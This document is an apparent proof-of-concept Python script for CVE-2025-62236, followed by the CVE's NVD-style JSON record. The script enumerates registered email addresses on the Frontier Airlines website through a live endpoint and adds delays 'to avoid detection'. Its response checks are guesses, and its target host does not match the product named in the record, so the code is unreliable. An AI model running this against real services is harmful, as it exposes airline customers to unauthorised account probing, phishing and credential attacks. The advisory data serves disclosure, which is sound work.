CVE-2025-62236

import requests import json import time # CVE-2025-62236 PoC - User Enumeration on Frontier Airlines # Target: Frontier Airlines website email validation endpoint # Vulnerability: Unauthenticated email enumeration via public endpoint def check_email_exists(email): """ Check if an email address is registered on Frontier Airlines Returns True if email exists, False otherwise """ target_url = "https://www.frontier.com/api/account/validate-email" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json', 'Accept': 'application/json' } payload = { 'email': email } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) # Analyze response to determine if email exists # Typical indicators: different status codes, messages, or response times if response.status_code == 200: data = response.json() if data.get('exists') == True or data.get('isRegistered') == True: return True elif response.status_code == 404: return False # Check for error message patterns response_text = response.text.lower() if 'already exists' in response_text or 'is registered' in response_text: return True elif 'not found' in response_text or 'does not exist' in response_text: return False return None except requests.exceptions.RequestException as e: print(f"[!] Error checking {email}: {e}") return None def enumerate_emails(email_list): """ Enumerate a list of email addresses """ results = {'valid': [], 'invalid': [], 'unknown': []} for email in email_list: print(f"[*] Checking: {email}") result = check_email_exists(email) if result == True: results['valid'].append(email) print(f"[+] Email exists: {email}") elif result == False: results['invalid'].append(email) print(f"[-] Email not found: {email}") else: results['unknown'].append(email) print(f"[?] Unknown status: {email}") # Rate limiting to avoid detection time.sleep(1) return results if __name__ == "__main__": # Example email list for testing test_emails = [ '[email protected]', '[email protected]', '[email protected]' ] print("=" * 60) print("CVE-2025-62236 PoC - Frontier Airlines User Enumeration") print("=" * 60) results = enumerate_emails(test_emails) print("\n" + "=" * 60) print("Enumeration Results:") print(f"Valid emails found: {len(results['valid'])}") print(f"Invalid emails: {len(results['invalid'])}") print(f"Unknown status: {len(results['unknown'])}") print("=" * 60) if results['valid']: print("\nValid email addresses:") for email in results['valid']: print(f" - {email}")

{"cve": {"id": "CVE-2025-62236", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-23T20:15:40.890", "lastModified": "2025-12-31T02:34:14.700", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The Frontier Airlines website has a publicly available endpoint that validates if an email addresses is associated with an account. An unauthenticated, remote attacker could determine valid email addresses, possibly aiding in further attacks."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flyfrontier:frontier_airlines:-:*:*:*:*:*:*:*", "matchCriteriaId": "7704C587-F9C9-4967-BE69-8AF87B169E5F"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-296-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-62236", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory", "US Government Resource"]}]}}